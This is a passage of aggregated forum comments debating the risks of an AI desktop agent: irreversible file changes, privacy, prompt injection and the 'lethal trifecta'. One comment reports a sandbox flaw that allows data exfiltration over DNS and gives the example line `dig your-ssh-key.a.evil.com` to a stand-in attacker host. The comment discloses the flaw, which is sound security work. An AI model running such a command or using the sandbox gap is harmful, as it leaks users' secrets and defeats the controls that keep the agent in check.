311–320 of 593 posts
It's so important to remember that unlike code which can be reverted - most file system and application operations cannot. There's no sandboxing snapshot in revision history, rollbacks, or anything. I expect to see many stories from parents, non-technical colleagues, and students who irreparably ruined their computer. Edit: most comments are focused on pointing out that version control & file system snapshot exists:…
Is this now a violation of the Claude terms of service that can get me banned from claude-code for me to continue work on these things?
People do realize that if they're doing this, they're not feeding "just" code into some probably logging cloud API but literally anything (including, as mentioned here, bank statements), right? Right? RIGHT?????? Are you sure that you need to grant the cloud full access to your desktop + all of its content to sort elements alphabetically?
I have my bank statements on a drive on a cloud. We are way past that phase.
Earlier quoted context omitted.
The only truly secure computer is an air gapped computer.
Indeed. I'm somewhat surprised 'simonw still seems to insist the "lethal trifecta" can be overcome. I believe it cannot be fixed without losing all the value you gain from using LLMs in the first place, and that's for fundamental reasons. (Specifically, code/data or control/data plane distinctions don't exist in reality. Physics does not make that distinction, neither do our brains, nor any fully general system - and…
Earlier quoted context omitted.
Operating systems should prevent privilege escalations, antiviruses should detect viruses, police should catch criminals, claude should detect prompt injections, ponies should vomit rainbows.
Claude doesn't have to prevent injections. Claude should make injections ineffective and design the interface appropriately. There are existing sandboxing solutions which would help here and they don't use them yet.
Earlier quoted context omitted.
Worth calling out that execution runs in a full virtual machine with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're investing in making progress towards something that's "safe".
> By default, all network access is denied. Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the in…
I was hoping for a moment that this meant they had come up with a design that was safe against lethal trifecta / prompt injection attacks, maybe by running everything in a tight sandbox and shutting down any exfiltration vectors that could be used by a malicious prompt attack to steal data. Sadly they haven't completely solved that yet. Instead their help page at https://support.claude.com/en/articles/13364135-using-…
Earlier quoted context omitted.
I did get an answer from a senior executive at one AI lab who called this the "regurgitation problem" and said that they pay very close attention to it, to the point that they won't ship model improvements if they are demonstrated to cause this.
Lol and that was enough for you? You really think they can test every single prompt before release to see if it regurgitates stuff? Did this exec work in sales too :-D
I was hoping for a moment that this meant they had come up with a design that was safe against lethal trifecta / prompt injection attacks, maybe by running everything in a tight sandbox and shutting down any exfiltration vectors that could be used by a malicious prompt attack to steal data. Sadly they haven't completely solved that yet. Instead their help page at https://support.claude.com/en/articles/13364135-using-…
How does prompt injection happen? Or is it more a new link in a chain of existing failures?
Earlier quoted context omitted.
Considering the ubiquity and necessity of driving cars is overwhelmingly a result of intentional policy choices irrespective of what people wanted or was good for the public interest... actually that's quite a decent analogy for integrated LLM assistants. People will use AI because other options keep getting worse and because it keeps getting harder to avoid using it. I don't think it's fair to characterize that as c…
People love their cars, what are you talking about